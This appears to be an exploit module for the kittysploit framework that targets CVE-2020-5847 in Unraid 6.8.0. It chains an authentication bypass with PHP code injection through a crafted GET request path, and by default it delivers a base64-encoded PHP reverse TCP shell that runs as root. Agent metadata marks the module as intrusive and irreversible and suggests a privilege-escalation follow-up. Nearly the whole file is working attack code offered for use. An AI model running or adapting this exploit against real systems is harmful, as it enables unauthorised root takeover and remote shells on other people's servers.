Unraid 6.8.0 Auth Bypass PHP Code Execution

from kittysploit import *
from lib.protocols.http.http_client import Http_client

class Module(Exploit, Http_client):
	

	__info__ = {
		'name': "Unraid 6.8.0 Auth Bypass PHP Code Execution",
		'description': "This module exploits two vulnerabilities affecting Unraid 6.8.0"\
						"An authentication bypass is used to gain access to the administrative"\
						"interface, and an insecure use of the extract PHP function can be abused"\
						"for arbitrary code execution as root.",
		'cve': '2020-5847',
		'payload': {
			'default': 'payloads/singles/cmd/php/reverse_tcp',
			'arch': Arch.PHP,
			'category': PayloadCategory.SINGLE,
			'encoder': 'encoders/php/base64'
			},
		'agent': {
		    'risk': 'intrusive',
		    'effects': ['active_exploitation'],
		    'expected_requests': 2,
		    'reversible': False,
		    'approval_required': True,
		    'produces': ['exploit_paths', 'risk_signals'],
		    'cost': 1.5,
		    'noise': 0.5,
		    'value': 1.0,
		    'requires': 		    {'min_endpoints': 0,
		     'min_params': 0,
		     'tech_hints_any': [],
		     'tech_hints_all': [],
		     'specializations_any': [],
		     'risk_signals_any': [],
		     'auth_session': False,
		     'capabilities_any': [],
		     'capabilities_all': [],
		     'confidence_min': {},
		     'confidence_min_any': {},
		     'endpoint_pattern_any': [],
		     'param_any': [],
		     'api_surface_ready': False},
		    'chain': 		    {'produces_capabilities': [{'capability': 'rce', 'from_detail': ''}],
		     'consumes_capabilities': [],
		     'option_bindings': {},
		     'suggested_followups': ['post/shell/multi/gather/privesc_suggester']},
		},
		}	

	def run(self):

		payload = f'<?php {self.payload} ?>'

		r = self.http_request(
						method = "GET",
						path = f"/webGui/images/green-on.png/&path=x&site[x][text]={self.encode_uri(payload)}",
						)
		if r.status_code == 302:
			self.not_vulnerable()